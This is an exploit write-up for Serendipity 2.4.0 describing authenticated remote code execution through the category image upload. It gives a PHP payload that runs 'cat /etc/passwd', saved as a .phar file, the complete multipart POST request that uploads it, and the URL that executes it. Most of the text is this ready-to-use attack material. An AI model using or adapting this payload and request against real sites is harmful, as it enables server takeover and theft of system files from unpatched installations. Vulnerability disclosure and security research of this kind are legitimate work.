Serendipity 2.4.0 Shell Upload

`Exploit Title: Serendipity 2.4.0 - Remote Code Execution (RCE) (Authenticated)  
Application: Serendipity   
Version: 2.4.0   
Bugs: Remote Code Execution (RCE) (Authenticated) via file upload  
Technology: PHP  
Vendor URL: https://docs.s9y.org/  
Software Link: https://docs.s9y.org/downloads.html  
Date of found: 13.04.2023  
Author: Mirabbas Ağalarov  
Tested on: Linux   
  
  
2. Technical Details & POC  
========================================  
If we load the poc.phar file in the image field while creating a category, we can run commands on the system.  
<?php echo system("cat /etc/passwd"); ?>  
I wrote a file with the above payload, a poc.phar extension, and uploaded it.  
  
Visit to http://localhost/serendipity/uploads/poc.phar  
  
poc request:  
  
  
POST /serendipity/serendipity_admin.php?serendipity[adminModule]=media&serendipity[htmltarget]=category_icon&serendipity[filename_only]=true&serendipity[noBanner]=true&serendipity[noSidebar]=true&serendipity[noFooter]=true&serendipity[showUpload]=true&serendipity[showMediaToolbar]=false&serendipity[sortorder][perpage]=8&serendipity[sortorder][order]=i.date&serendipity[sortorder][ordermode]=DESC HTTP/1.1  
Host: localhost  
Content-Length: 1561  
Cache-Control: max-age=0  
sec-ch-ua: "Not?A_Brand";v="8", "Chromium";v="108"  
sec-ch-ua-mobile: ?0  
sec-ch-ua-platform: "Linux"  
Upgrade-Insecure-Requests: 1  
Origin: http://localhost  
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryZWKPiba66PSVGQzc  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9  
Sec-Fetch-Site: same-origin  
Sec-Fetch-Mode: navigate  
Sec-Fetch-User: ?1  
Sec-Fetch-Dest: iframe  
Referer: http://localhost/serendipity/serendipity_admin.php?serendipity[adminModule]=media&serendipity[adminAction]=addSelect&serendipity[adminModule]=media&serendipity[htmltarget]=category_icon&serendipity[filename_only]=true&serendipity[noBanner]=true&serendipity[noSidebar]=true&serendipity[noFooter]=true&serendipity[showUpload]=true&serendipity[showMediaToolbar]=false&serendipity[sortorder][perpage]=8&serendipity[sortorder][order]=i.date&serendipity[sortorder][ordermode]=DESC  
Accept-Encoding: gzip, deflate  
Accept-Language: en-US,en;q=0.9  
Cookie: serendipity[old_session]=st6cvq3rea6l8dqgjs1nla6s1b; serendipity[author_token]=430b341df3f78f52691c8cf935fa04e1c05854df; serendipity[toggle_extended]=; serendipity[entrylist_filter_author]=; serendipity[entrylist_filter_category]=; serendipity[entrylist_filter_isdraft]=; serendipity[entrylist_sort_perPage]=; serendipity[entrylist_sort_ordermode]=; serendipity[entrylist_sort_order]=; serendipity[only_path]=; serendipity[only_filename]=; serendipity[hideSubdirFiles]=; serendipity[addmedia_directory]=; serendipity[sortorder_perpage]=8; serendipity[sortorder_order]=i.date; serendipity[sortorder_ordermode]=DESC; serendipity[filter][i.date][from]=; serendipity[filter][i.date][to]=; serendipity[filter][i.name]=; serendipity[imgThumbWidth]=400; serendipity[imgThumbHeight]=267; serendipity[imgWidth]=1000; serendipity[imgHeight]=667; serendipity[imgID]=1; serendipity[baseURL]=http%3A//localhost/serendipity/; serendipity[indexFile]=index.php; serendipity[imgName]=/serendipity/uploads/photo-1575936123452-b67c3203c357.jpeg; serendipity[thumbName]=/serendipity/uploads/photo-1575936123452-b67c3203c357.serendipityThumb.jpeg; serendipity[hotlink]=; serendipity[serendipity_htmltarget]=category_icon; serendipity[serendipity_filename_only]=true; serendipity[serendipity_linkThumbnail]=no; serendipity[]=Done; accessibletab_mediaupload_tabs_active=0; serendipity[filter][fileCategory]=; s9y_6991e531dd149036decdb14ae857486a=st6cvq3rea6l8dqgjs1nla6s1b  
Connection: close  
  
------WebKitFormBoundaryZWKPiba66PSVGQzc  
Content-Disposition: form-data; name="serendipity[token]"  
  
ae9b8ae35a756c24f9552a021ee81d56  
------WebKitFormBoundaryZWKPiba66PSVGQzc  
Content-Disposition: form-data; name="serendipity[action]"  
  
admin  
------WebKitFormBoundaryZWKPiba66PSVGQzc  
Content-Disposition: form-data; name="serendipity[adminModule]"  
  
media  
------WebKitFormBoundaryZWKPiba66PSVGQzc  
Content-Disposition: form-data; name="serendipity[adminAction]"  
  
add  
------WebKitFormBoundaryZWKPiba66PSVGQzc  
Content-Disposition: form-data; name="serendipity[userfile][1]"; filename="poc.phar"  
Content-Type: application/octet-stream  
  
<?php echo system("cat /etc/passwd");?>  
  
------WebKitFormBoundaryZWKPiba66PSVGQzc  
Content-Disposition: form-data; name="serendipity[target_filename][1]"  
  
poc.phar  
------WebKitFormBoundaryZWKPiba66PSVGQzc  
Content-Disposition: form-data; name="serendipity[target_directory][1]"  
  
  
------WebKitFormBoundaryZWKPiba66PSVGQzc  
Content-Disposition: form-data; name="serendipity[column_count][1]"  
  
true  
------WebKitFormBoundaryZWKPiba66PSVGQzc  
Content-Disposition: form-data; name="serendipity[imageurl]"  
  
  
------WebKitFormBoundaryZWKPiba66PSVGQzc  
Content-Disposition: form-data; name="serendipity[imageimporttype]"  
  
image  
------WebKitFormBoundaryZWKPiba66PSVGQzc  
Content-Disposition: form-data; name="serendipity[target_filename][]"  
  
  
------WebKitFormBoundaryZWKPiba66PSVGQzc  
Content-Disposition: form-data; name="serendipity[target_directory][]"  
  
  
------WebKitFormBoundaryZWKPiba66PSVGQzc--  
  
  
poc video : https://youtu.be/_VrrKOTywgo  
  
`